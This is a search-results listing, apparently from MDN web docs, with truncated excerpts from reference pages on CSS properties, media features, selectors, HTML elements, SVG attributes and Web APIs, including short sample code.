... there is no one value that can ensure all font families automatically maintain their legibility.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.8 | w3c understanding wcag 2.0 formal definition initial valuenormalapplies toall elements.
...And 3 more matches
<figcaption>: The Figure Caption element - HTML: Hypertext Markup Language
the html <figcaption> or figure caption element represents a caption or legend describing the rest of the contents of its parent <figure> element.
... content categories none.
... permitted parents a <figure> element; the <figcaption> element must be its first or last child.
...And 3 more matches
calcMode - SVG: Scalable Vector Graphics
the calcmode attribute specifies the interpolation mode for the animation.
...for strings), the calcmode attribute is ignored and discrete interpolation is used.
... linear simple linear interpolation between values is used to calculate the animation function.
...And 3 more matches
Specification Deviations - SVG: Scalable Vector Graphics
there are a few places where we have consciously decided to make gecko deviate from or extend the svg specification.
... the 'class' and 'style' attributes unlike html and mathml, the svg specification does not specify the 'style' and 'class' attributes on all svg elements.
...in general this change will not be visible to svg authors (the elements for which the svg specification does not define the 'class' and 'style' attribute are elements that are not displayed directly).
...And 3 more matches
NotificationEvent.notification - Web APIs
the notification read-only property of the notificationevent interface returns the instance of the notification that was clicked to fire the event.
... the notification provides read-only access to many properties that were set at the instantiation time of the notification such as tag and data attributes that allow you to store information for defered use in the notificationclick event.
... returns a notification object.
...And 2 more matches
SharedWorkerGlobalScope.applicationCache - Web APIs
important: application cache is deprecated as of firefox 44, and is no longer available in insecure contexts from firefox 60 onwards (bug 1354175, currently nightly/beta only).
... the applicationcache read-only property of the sharedworkerglobalscope interface returns the applicationcache object for the worker (see using the application cache).
... syntax var nameobj = self.applicationcache; value an applicationcache.
...And 2 more matches
-moz-orient - CSS: Cascading Style Sheets
values inline the element is rendered in the same direction as the axis of the text: horizontally for horizontal writing modes, vertically for vertical writing modes.
... block the element is rendered orthogonally to the axis of the text: vertically for horizontal writing modes, horizontal for vertical writing modes.
... vertical the element is rendered vertically.
...And 2 more matches
::marker - CSS: Cascading Style Sheets
WebCSS::marker
the ::marker css pseudo-element selects the marker box of a list item, which typically contains a bullet or number.
... ::marker { color: blue; font-size: 1.2em; } allowable properties only certain css properties can be used in a rule with ::marker as a selector: all font properties the white-space property color text-combine-upright, unicode-bidi and direction properties the content property all animation and transition properties the specification states that additional css properties may be supported in future.
... syntax ::marker examples html <ul> <li>peaches</li> <li>apples</li> <li>plums</li> </ul> css ul li::marker { color: red; font-size: 1.5em; } result specifications specification status comment css pseudo-elements level 4the definition of '::marker' in that specification.
...And 2 more matches
:host-context() - CSS: Cascading Style Sheets
the :host-context() css pseudo-class function selects the shadow host of the shadow dom containing the css it is used inside (so you can select a custom element from inside its shadow dom) — but only if the selector given as the function's parameter matches the shadow host's ancestor(s) in the place it sits inside the dom hierarchy.
... one typical use of this is with a descendant selector expression — for example h1 — to select only instances of the custom element that are inside an <h1>.
... another typical use would be to allow inner elements to react to classes or attributes on any anscestor elements - for example, applying a different text color when a .dark-theme class is applied to <body>.
...And 2 more matches
:lang() - CSS: Cascading Style Sheets
WebCSS:lang
this english quote has a <q>nested</q> quote inside.</q></div> <div lang="fr"><q>this french quote has a <q>nested</q> quote inside.</q></div> <div lang="de"><q>this german quote has a <q>nested</q> quote inside.</q></div> css :lang(en) > q { quotes: '\201c' '\201d' '\2018' '\2019'; } :lang(fr) > q { quotes: '« ' ' »'; } :lang(de) > q { quotes: '»' '«' '\2039' '\203a'; } result specifications specification status comment selectors level 4the definition of ':lang()' in that specification.
... working draft adds wildcard language matching and comma-separated list of languages.
... selectors level 3the definition of ':lang()' in that specification.
...And 2 more matches
:link - CSS: Cascading Style Sheets
WebCSS:link
html <a href="#ordinary-target">this is an ordinary link.</a><br> <a href="">you've already visited this link.</a><br> <a>placeholder link (won't get styled)</a> css a:link { background-color: gold; color: green; } result specifications specification status comment html living standardthe definition of ':link' in that specification.
... living standard selectors level 4the definition of ':link' in that specification.
... selectors level 3the definition of ':link' in that specification.
...And 2 more matches
:not() - CSS: Cascading Style Sheets
WebCSS:not
useless selectors can be written using this pseudo-class.
... this pseudo-class can increase the specificity of a rule.
... this selector only applies to one element; you cannot use it to exclude all ancestors.
...And 2 more matches
:nth-child() - CSS: Cascading Style Sheets
it can be read as the an+bth element of a list.
...3, 5, and 7 are selected.</p> <div class="first"> <span>span 1!</span> <span>span 2</span> <span>span 3!</span> <span>span 4</span> <span>span 5!</span> <span>span 6</span> <span>span 7!</span> </div> <br> <h3><code>span:nth-child(2n+1)</code>, with an <code>&lt;em&gt;</code> among the child elements.</h3> <p>children 1, 5, and 7 are selected.<br> 3 is used in the counting because it is a child, but it isn't selected because it isn't a <code>&lt;span&gt;</code>.</p> <div class="second"> <span>span!</span> <span>span</span> <em>this is an `em`.</em> <span>span</span> <span>span!</span> <span>span</span> <span>span!</span> <span>span</span> </div> <br> <h3><code>span:nth-of-type(2n+1)</code>, with an <code>&lt;em&gt;</code> among the child elements...
....</h3> <p>children 1, 4, 6, and 8 are selected.<br> 3 isn't used in the counting or selected because it is an <code>&lt;em&gt;</code>, not a <code>&lt;span&gt;</code>, and <code>nth-of-type</code> only selects children of that type.
...And 2 more matches
:out-of-range - CSS: Cascading Style Sheets
/* selects any <input>, but only when it has a range specified, and its value is outside that range */ input:out-of-range { background-color: rgba(255, 0, 0, 0.25); } this pseudo-class is useful for giving the user a visual indication that a field's current value is outside the permitted limits.
... note: this pseudo-class only applies to elements that have (and can take) a range limitation.
... in the absence of such a limitation, the element can neither be "in-range" nor "out-of-range." syntax :out-of-range examples html <form action="" id="form1"> <p>values between 1 and 10 are valid.</p> <ul> <li> <input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12"> <label for="value1">your value is </label> </li> </ul> </form> css li { list-style: none; margin-bottom: 1em; } input { border: 1px solid black; } input:in-range { background-color: rgba(0, 255, 0, 0.25); } input:out-of-range { background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications ...
...And 2 more matches
:where() - CSS: Cascading Style Sheets
WebCSS:where
the :where() css pseudo-class function takes a selector list as its argument, and selects any element that can be selected by one of the selectors in that list.
... footer a { color: blue; } this won't work for the red links, because the selectors inside :is() count towards the specificity of the overall selector, and class selectors have a higher specificity than element selectors.
... you can see the result below (although bear in mind that currently :is() and :where() are currently only enabled by default in firefox nightly, version 77+.
...And 2 more matches
symbols - CSS: Cascading Style Sheets
this must be one of the following data types: <string> <image> (note: this value is "at risk" and may be removed from the specification.
... it is not yet implemented.) <custom-ident> description a symbol can be a string, image, or identifier.
...)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
...And 2 more matches
any-hover - CSS: Cascading Style Sheets
WebCSS@mediaany-hover
the any-hover css media feature can be used to test whether any available input mechanism can hover over elements.
... none none of the available input mechanism(s) can hover conveniently, or there is no pointing input mechanism.
... hover one or more available input mechanisms can conveniently hover over elements.
...And 2 more matches
aspect-ratio - CSS: Cascading Style Sheets
the aspect-ratio css media feature can be used to test the aspect ratio of the viewport.
...it is a range feature, meaning you can also use the prefixed min-aspect-ratio and max-aspect-ratio variants to query minimum and maximum values, respectively.
...this element as you resize your viewport's width and height.</div>"> </iframe> css iframe{ display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.textcontent="height:"+h.value } result specifications specification status comment media queries level 4the definition of 'aspect-ratio' in that specification.
...And 2 more matches
aural - CSS: Cascading Style Sheets
WebCSS@mediaaural
the aural css media type is used for devices that have speech output capabilities.
... note: this media type has been deprecated in favor of speech.
... syntax the aural css media type—which has been deprecated in favor of the speech media type—was used to specify a block of css that applied only when the content is being presented using a speech synthesis device.
...And 2 more matches
color-index - CSS: Cascading Style Sheets
the color-index css media feature can be used to test the number of entries in the output device's color lookup table.
...(this value is zero if the device does not use such a table.) it is a range feature, meaning that you can also use the prefixed min-color-index and max-color-index variants to query minimum and maximum values, respectively.
... <link rel="stylesheet" href="http://foo.bar.com/base.css" /> <link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/color-stylesheet.css" /> specifications specification status comment media queries level 4the definition of 'color-index' in that specification.
...And 2 more matches
color - CSS: Cascading Style Sheets
WebCSS@mediacolor
the color css media feature can be used to test the number of bits per color component (red, green, blue) of the output device.
...it is a range feature, meaning that you can also use the prefixed min-color and max-color variants to query minimum and maximum values, respectively.
...es html <p>this text should be black on non-color devices, red on devices with a low number of colors, and greenish on devices with a high number of colors.</p> css p { color: black; } /* any color device */ @media (color) { p { color: red; } } /* any color device with at least 8 bits per color component */ @media (min-color: 8) { p { color: #24ba13; } } result specifications specification status comment media queries level 4the definition of 'color' in that specification.
...And 2 more matches
device-aspect-ratio - CSS: Cascading Style Sheets
the device-aspect-ratio css media feature can be used to test the width-to-height aspect ratio of an output device.
...it is a range feature, meaning that you can also use the prefixed min-device-aspect-ratio and max-device-aspect-ratio variants to query minimum and maximum values, respectively.
... examples article { padding: 1rem; } @media screen and (min-device-aspect-ratio: 16/9) { article { padding: 1rem 5vw; } } specifications specification status comment media queries level 4the definition of 'device-aspect-ratio' in that specification.
...And 2 more matches
device-height - CSS: Cascading Style Sheets
the device-height css media feature can be used to test the height of an output device's rendering surface.
...it is a range feature, meaning that you can also use the prefixed min-device-height and max-device-height variants to query minimum and maximum values, respectively.
... <link rel="stylesheet" media="screen and (max-device-height: 799px)" href="http://foo.bar.com/short-styles.css" /> specifications specification status comment media queries level 4the definition of 'device-height' in that specification.
...And 2 more matches
device-width - CSS: Cascading Style Sheets
the device-width css media feature can be used to test the width of an output device's rendering surface.
...it is a range feature, meaning that you can also use the prefixed min-device-width and max-device-width variants to query minimum and maximum values, respectively.
... <link rel="stylesheet" media="screen and (max-device-width: 799px)" href="http://foo.bar.com/narrow-styles.css" /> specifications specification status comment media queries level 4the definition of 'device-width' in that specification.
...And 2 more matches
forced-colors - CSS: Cascading Style Sheets
syntax the forced-colors media feature indicates whether or not the browser is currently in forced-colors mode.
... active indicates that forced colors mode is active.
... the browser provides the color palette to authors through the css system color keywords and, if appropriate, it triggers the appropriate value of prefers-color-scheme so that authors can adapt the page.
...And 2 more matches
height - CSS: Cascading Style Sheets
WebCSS@mediaheight
the height css media feature can be used to apply styles based on the height of the viewport (or the page box, for paged media).
...it is a range feature, meaning that you can also use the prefixed min-height and max-height variants to query minimum and maximum values, respectively.
... examples html <div>watch this element as you resize your viewport's height.</div> css /* exact height */ @media (height: 360px) { div { color: red; } } /* minimum height */ @media (min-height: 25rem) { div { background: yellow; } } /* maximum height */ @media (max-height: 40rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'height' in that specification.
...And 2 more matches
hover - CSS: Cascading Style Sheets
WebCSS@mediahover
the hover css media feature can be used to test whether the user's primary input mechanism can hover over elements.
... none the primary input mechanism cannot hover at all or cannot conveniently hover (e.g., many mobile devices emulate hovering when the user performs an inconvenient long tap), or there is no primary pointing input mechanism.
... hover the primary input mechanism can conveniently hover over elements.
...And 2 more matches
monochrome - CSS: Cascading Style Sheets
WebCSS@mediamonochrome
the monochrome css media feature can be used to test the number of bits per pixel in the monochrome frame buffer of the output device.
...it is a range feature, meaning that you can also use the prefixed min-monochrome and max-monochrome variants to query minimum and maximum values, respectively.
...<p class="mono">your device supports monochrome pixels!</p> <p class="no-mono">your device doesn't support monochrome pixels.</p> css p { display: none; } /* any monochrome device */ @media (monochrome) { p.mono { display: block; color: #333; } } /* any non-monochrome device */ @media (monochrome: 0) { p.no-mono { display: block; color: #ee3636; } } result specifications specification status comment media queries level 4the definition of 'monochrome' in that specification.
...And 2 more matches
overflow-block - CSS: Cascading Style Sheets
the overflow-block css media feature can be used to test how the output device handles content that overflows the initial containing block along the block axis.
... scroll content that overflows the block axis can be seen by scrolling to it.
... optional-paged content that overflows the block axis can be seen by scrolling to it, but page breaks can be manually triggered (such as via break-inside, etc.) to cause the following content to display on the following page.
...And 2 more matches
width - CSS: Cascading Style Sheets
WebCSS@mediawidth
the width css media feature can be used to test the width of the viewport (or the page box, for paged media).
...it is a range feature, meaning that you can also use the prefixed min-width and max-width variants to query minimum and maximum values, respectively.
... examples html <div>watch this element as you resize your viewport's width.</div> css /* exact width */ @media (width: 360px) { div { color: red; } } /* minimum width */ @media (min-width: 35rem) { div { background: yellow; } } /* maximum width */ @media (max-width: 50rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'width' in that specification.
...And 2 more matches
height - CSS: Cascading Style Sheets
WebCSS@viewportheight
syntax /* one value */ height: auto; height: 320px; height: 15em; /* two values */ height: 320px 200px; values auto the used value is calculated from the other css descriptors' values.
... <percentage> a percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively.
... formal definition related at-rule@viewportinitial valueas each of the properties of the shorthand:min-height: automax-height: nonepercentagesas each of the properties of the shorthand:min-height: the percentage is calculated with respect to the height of the generated box's containing block.
...And 2 more matches
user-zoom - CSS: Cascading Style Sheets
the user-zoom css descriptor controls whether or not the user can change the zoom factor of a document defined by @viewport.
... /* keyword values */ user-zoom: zoom; user-zoom: fixed; syntax values zoom the user can zoom in or out.
... fixed the user cannot zoom in or out.
...And 2 more matches
Detecting CSS animation support - CSS: Cascading Style Sheets
however, there are likely to be times when this feature isn't available, and you may wish to handle that case by using javascript code to simulate a similar effect.
...lit(' '), pfx = '', elem = document.createelement('div'); if( elem.style.animationname !== undefined ) { animation = true; } if( animation === false ) { for( var i = 0; i < domprefixes.length; i++ ) { if( elem.style[ domprefixes[i] + 'animationname' ] !== undefined ) { pfx = domprefixes[ i ]; animationstring = pfx + 'animation'; keyframeprefix = '-' + pfx.tolowercase() + '-'; animation = true; break; } } } for starters we define a few variables.
...notice browsers don't make it easy with the switching between camelcase and hyphen-ation.
...And 2 more matches
Using multiple backgrounds - CSS: Cascading Style Sheets
you can apply multiple backgrounds to elements.
...only the last background can include a background color.
... specifying multiple backgrounds is easy: .myclass { background: background1, background 2, ..., backgroundn; } you can do this with both the shorthand background property and the individual properties thereof except for background-color.
...And 2 more matches
CSS Backgrounds and Borders - CSS: Cascading Style Sheets
these styles can also decorate borders with lines or images, and make them square or rounded.
... (additionally, element boxes can be decorated with a shadow.) reference css properties background background-attachment background-clip background-color background-image background-origin background-position background-position-x background-position-y background-repeat background-size border border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-collapse border-color border-image border-image-outset border-image-repeat border-image-slice border-image-source border-image-width border-left border-left-color border-left-style border-left-width border-radius border-right border-right-color border-right-style border-right-width border-style border-top border-top-color border...
... scaling background images describes how to change the size and repeating behavior of background images.
...And 2 more matches
CSS Fonts - CSS: Cascading Style Sheets
WebCSSCSS Fonts
p { width: 600px; margin: 0 auto; font-family: "helvetica neue", "arial", sans-serif; font-style: italic; font-weight: 100; font-variant-ligatures: normal; font-size: 2rem; letter-spacing: 1px; } <p>three hundred years ago<br> i thought i might get some sleep<br> i stretched myself out onna antique bed<br> an' my spirit did a midnite creep</p> the result is as follows: variable fonts examples you can find a number of variable fonts...
... reference properties font font-family font-feature-settings font-kerning font-language-override font-optical-sizing font-size font-size-adjust font-stretch font-style font-synthesis font-variant font-variant-alternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric font-variant-position font-variation-settings font-weight line-height at-rules @font-face font-family font-feature-settings font-style font-variant font-weight font-stretch src unicode-range @font-feature-values guides fundamental text and font styling in this beginner's learning article we go through all...
... variable fonts guide variable fonts are an evolution of the opentype font specification that enables many different variations of a typeface to be incorporated into a single file, rather than having a separate font file for every width, weight, or style.
...And 2 more matches
CSS Images - CSS: Cascading Style Sheets
css images is a module of css that defines what types of images can be used (the <image> type, containing urls, gradients and other types of images), how to resize them and how they, and other replaced content, interact with the different layout models.
... specifications specification status comment css images module level 4 working draft added image-resolution, conic-gradient(), and image() css images module level 3 candidate recommendation added image-orientation, image-rendering, object-fit and object-position compatibility standardthe definition of 'css gradients' in that specification.
... living standard standardizes the -webkit prefixed gradient value functions css values and units module level 3the definition of '<url>' in that specification.
...And 2 more matches
Animatable CSS properties - CSS: Cascading Style Sheets
certain css properties can be animated using css animations or css transitions.
... animation means that their values can be made to change gradually over a given amount of time.
...rder-inline-start-width border-left border-left-color border-left-width border-radius border-right border-right-color border-right-width border-start-end-radius border-start-start-radius border-top border-top-color border-top-left-radius border-top-right-radius border-top-width border-width bottom box-shadow caret-color clip clip-path color column-count column-gap column-rule column-rule-color column-rule-width column-width columns filter flex flex-basis flex-grow flex-shrink font font-size font-size-adjust font-stretch font-variation-settings font-weight gap grid-column-gap grid-gap ...
...And 2 more matches
animation-delay - CSS: Cascading Style Sheets
the animation can start later, immediately from its beginning, or immediately and partway through the animation.
... a positive value indicates that the animation should begin after the specified amount of time has elapsed.
... a value of 0s, which is the default, indicates that the animation should begin as soon as it's applied.
...And 2 more matches
animation-name - CSS: Cascading Style Sheets
syntax /* single animation */ animation-name: none; animation-name: test_05; animation-name: -specific; animation-name: sliding-vertically; /* multiple animations */ animation-name: test1, animation4; animation-name: none, -moz-specific, sliding; /* global values */ animation-name: initial animation-name: inherit animation-name: unset values none a special keyword denoting no keyframes.
... it can be used to deactivate an animation without changing the ordering of the other identifiers, or to deactivate animations coming from the cascade.
...this identifier is composed of a combination of case-sensitive letters a to z, numbers 0 to 9, underscores (_), and/or dashes (-).
...And 2 more matches
background-clip - CSS: Cascading Style Sheets
note: because the root element has a different background painting area, the background-clip property has no effect when specified on it.
...it is recommended that authors of html documents specify the canvas background for the <body> element rather than the html element.
... padding: 1.4em; background: linear-gradient(60deg, red, yellow, red, yellow, red); font: 900 1.2em sans-serif; text-decoration: underline; } .border-box { background-clip: border-box; } .padding-box { background-clip: padding-box; } .content-box { background-clip: content-box; } .text { background-clip: text; -webkit-background-clip: text; color: rgba(0,0,0,.2); } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-clip' in that specification.
...And 2 more matches
border-end-end-radius - CSS: Cascading Style Sheets
the border-end-end-radius css property defines a logical border radius on an element, which maps to a physical border radius that depends on on the element's writing-mode, direction, and text-orientation.
...as absolute length it can be expressed in any unit allowed by the css <length> data type.
... percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box.
...And 2 more matches
border-end-start-radius - CSS: Cascading Style Sheets
the border-end-start-radius css property defines a logical border radius on an element, which maps to a physical border radius depending on the element's writing-mode, direction, and text-orientation.
...as absolute length it can be expressed in any unit allowed by the css <length> data type.
... percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box.
...And 2 more matches
border-image-width - CSS: Cascading Style Sheets
syntax /* keyword value */ border-image-width: auto; /* <length> value */ border-image-width: 1rem; /* <percentage> value */ border-image-width: 25%; /* <number> value */ border-image-width: 3; /* vertical | horizontal */ border-image-width: 2em 3em; /* top | horizontal | bottom */ border-image-width: 5% 15% 10%; /* top | right | bottom | left */ border-image-width: 5% 2em 10% auto; /* global values */ border-image-width: inherit; border-image-width: initial; border-image-width: unset; the border-image-width property may be specified using one, two, three, or four values chosen from the list ...
...percentages are relative to the width of the border image area for horizontal offsets and the height of the border image area for vertical offsets.
... auto the width of the border is made equal to the intrinsic width or height (whichever is applicable) of the corresponding border-image-slice.
...And 2 more matches
border-left-color - CSS: Cascading Style Sheets
it can also be set with the shorthand css properties border-color or border-left.
...it also applies to ::first-letter.inheritednocomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-left-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-color' in that specification.
...And 2 more matches
border-right-color - CSS: Cascading Style Sheets
it can also be set with the shorthand css properties border-color or border-right.
...it also applies to ::first-letter.inheritednocomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-right-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-color' in that specification.
...And 2 more matches
border-start-end-radius - CSS: Cascading Style Sheets
the border-start-end-radius css property defines a logical border radius on an element, which maps to a physical border radius depending on the element's writing-mode, direction, and text-orientation.
...as absolute length it can be expressed in any unit allowed by the css <length> data type.
... percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box.
...And 2 more matches
border-start-start-radius - CSS: Cascading Style Sheets
the border-start-start-radius css property defines a logical border radius on an element, which maps to a physical border radius that depends on the element's writing-mode, direction, and text-orientation.
...as absolute length it can be expressed in any unit allowed by the css <length> data type.
... percentages for the horizontal axis refer to the width of the box, percentages for the vertical axis refer to the height of the box.
...And 2 more matches
border-top-color - CSS: Cascading Style Sheets
it can also be set with the shorthand css properties border-color or border-top.
...it also applies to ::first-letter.inheritednocomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-top-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-color' in that specification.
...And 2 more matches
box-direction - CSS: Cascading Style Sheets
notes the edge of the box designated the start for layout purposes depends on the box's orientation: horizontal left vertical top the edge opposite to the start is designated the end.
...s toelements with a css display value of box or inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | reverse | inherit examples setting box direction .example { /* bottom-to-top layout */ -moz-box-direction: reverse; /* mozilla */ -webkit-box-direction: reverse; /* webkit */ box-direction: reverse; /* as specified */ } specifications not part of any standard.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbox-direction deprecatednon-standardchrome full support 1prefixed full support 1prefixed prefixed implemented with the vendor prefix: -webkit-edge full support 12prefixed full support 12prefixed prefixed implemented with the vendor prefix:...
...And 2 more matches
counter-reset - CSS: Cascading Style Sheets
note: the counter's value can be increased or decreased using the counter-increment css property.
... syntax /* set "my-counter" to 0 */ counter-reset: my-counter; /* set "my-counter" to -1 */ counter-reset: my-counter -1; /* set "counter1" to 1, and "counter2" to 4 */ counter-reset: counter1 1 counter2 4; /* cancel any reset that could have been set in less specific rules */ counter-reset: none; /* global values */ counter-reset: inherit; counter-reset: initial; counter-reset: unset; the counter-reset property is specified as either one of the following: a <custom-ident> naming the counter, followed optionally by an <integer>.
...this can be used to override a counter-reset defined in a less specific rule.
...And 2 more matches
<filter-function> - CSS: Cascading Style Sheets
the <filter-function> css data type represents a graphical effect that can change the appearance of an input image.
... grayscale() converts the image to grayscale.
... html <div></div> <ul> <li> <label for="filter-select">choose a filter function:</label> <select id="filter-select"> <option selected>blur</option> <option>brightness</option> <option>contrast</option> <option>drop-shadow</option> <option>grayscale</option> <option>hue-rotate</option> <option>invert</option> <option>opacity</option> <option>saturate</option> <option>sepia</option> </select> </li> <li> <input type="range"><output></output> </li> <li> <p>current value: <code></code></p> </li> </ul> css div { width: 300px; height: 300px; background: url(https://media.prod.mdn.mozit.
...And 2 more matches
float - CSS: Cascading Style Sheets
WebCSSfloat
as float implies the use of the block layout, it modifies the computed value of the display values, in some cases: specified value computed value inline block inline-block block inline-table table table-row block table-row-group block table-column block table-column-group block table-cell block table-caption block table-header-group block table-footer-group b...
...this was an exception to the rule, that the name of the dom member is the camel-case name of the dash-separated css name (due to the fact that "float" is a reserved word in javascript, as seen in the need to escape "class" as "classname" and escape <label>'s "for" as "htmlfor").
... specifications specification status comment css logical properties and values level 1the definition of 'float and clear' in that specification.
...And 2 more matches
font-smooth - CSS: Cascading Style Sheets
the font-smooth css property controls the application of anti-aliasing when fonts are rendered.
... auto - allow the browser to select an optimization for font smoothing, typically grayscale.
... grayscale - render text with grayscale antialiasing, as opposed to the subpixel.
...And 2 more matches
font-variant-position - CSS: Cascading Style Sheets
these glyphs are typically used in <sub> and <sup> elements.
... /* keyword values */ font-variant-position: normal; font-variant-position: sub; font-variant-position: super; /* global values */ font-variant-position: inherit; font-variant-position: initial; font-variant-position: unset; when the usage of these alternate glyphs is activated, if one character in the run doesn't have such a typographically-enhanced glyph, the whole set of characters of the run is rendered using a fallback method, synthesizing these glyphs.
...they are merely graphically enhanced, and have no effect on the line-height and other box characteristics.
...And 2 more matches
<frequency> - CSS: Cascading Style Sheets
WebCSSfrequency
though the units are case-insensitive, it is good practice to use a capital "h" for hz and khz, as specified in the si.
... examples valid frequency values 12hz positive integer 4.3hz non-integer 14khz the unit is case-insensitive, though non-si capitalization is not recommended.
... +0hz zero, with a leading + and a unit -0khz zero, with a leading - and a unit invalid frequency values 12.0 this is a <number>, not an <frequency>, because it is missing a unit.
...And 2 more matches
<gradient> - CSS: Cascading Style Sheets
WebCSSgradient
repeating gradient repeating gradients duplicate a gradient as much as necessary to fill a given area.
... interpolation as with any interpolation involving colors, gradients are calculated in the alpha-premultiplied color space.
... <div class="conic-gradient">conic gradient</div> div { width: 200px; height: 200px; } .conic-gradient { background: conic-gradient(lightpink, white, powderblue); } specifications specification status comment css images module level 4the definition of '<gradient>' in that specification.
...And 2 more matches
grid-auto-rows - CSS: Cascading Style Sheets
this can happen either by explicitly positioning into a row that is out of range, or by the auto-placement algorithm creating additional rows.
... auto is a keyword that is identical to maximal content if it's a maximum.
... note: auto track sizes (and only auto track sizes) can be stretched by the align-content and justify-content properties.
...And 2 more matches
grid-column-end - CSS: Cascading Style Sheets
-column-end: somegridarea; /* <integer> + <custom-ident> values */ grid-column-end: 2; grid-column-end: somegridarea 4; /* span + <integer> + <custom-ident> values */ grid-column-end: span 3; grid-column-end: span somegridarea; grid-column-end: 5 somegridarea span; /* global values */ grid-column-end: inherit; grid-column-end: initial; grid-column-end: unset; values auto is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement, an automatic span, or a default span of 1.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-column-end: foo; will choose the end edge of that named grid area (unless another line named foo-end was explicitly specified before it).
... the <custom-ident> cannot take the span value.
...And 2 more matches
grid-row-end - CSS: Cascading Style Sheets
ustom-ident> values */ grid-row-end: somegridarea; /* <integer> + <custom-ident> values */ grid-row-end: 2; grid-row-end: somegridarea 4; /* span + <integer> + <custom-ident> values */ grid-row-end: span 3; grid-row-end: span somegridarea; grid-row-end: 5 somegridarea span; /* global values */ grid-row-end: inherit; grid-row-end: initial; grid-row-end: unset; values auto is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement, an automatic span, or a default span of 1.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-row-end: foo; will choose the end edge of that named grid area (unless another line named foo-end was explicitly specified before it).
... the <custom-ident> cannot take the span value.
...And 2 more matches
hyphens - CSS: Cascading Style Sheets
WebCSShyphens
it can prevent hyphenation entirely, hyphenate at manually-specified points within the text, or let the browser automatically insert hyphens where appropriate.
... note: the rules defining how hyphenation is performed are not explicitly defined by the specification, so the exact hyphenation may vary from browser to browser.
... auto the browser is free to automatically break words at appropriate hyphenation points, following whatever rules it chooses.
...And 2 more matches
left - CSS: Cascading Style Sheets
WebCSSleft
if the element cannot stretch to satisfy both, the position of the element is overspecified.
... when this is the case, the left value has precedence when the container is left-to-right; the right value has precedence when the container is right-to-left.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the width of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples positioning elements html <div id="wrap"> <div id="example_1"> <pre> position: absolute; left: 20px; top: 20px; </pre> <p>the only containing element for this div is the main window, so it positions itself in relation to it.</p> </div> <div id="example_2"> <pre> position: relative; top: 0; right: 0; </pre> <p>relative position in relation to its siblings...
...And 2 more matches
margin-bottom - CSS: Cascading Style Sheets
its value can be positive, zero, or negative.
... formal definition initial value0applies toall elements, except elements with table display types other than table-caption, table and inline-table.
...div class="box1">box 1</div> <div class="box2">box one's negative margin pulls me up</div> </div> css css for divs to set margin-bottom and height .box0 { margin-bottom:1em; height:3em; } .box1 { margin-bottom:-1.5em; height:4em; } .box2 { border:1px dashed black; border-width:1px 0; margin-bottom:2em; } some definitions for container and divs so margins' effects can be seen more clearly .container { background-color:orange; width:320px; border:1px solid black; } div { width:320px; background-color:gold; } result specifications specification status comment css basic box modelthe definition of 'margin-bottom' in that specification.
...And 2 more matches
margin-top - CSS: Cascading Style Sheets
its value can be positive, zero, or negative.
... formal definition initial value0applies toall elements, except elements with table display types other than table-caption, table and inline-table.
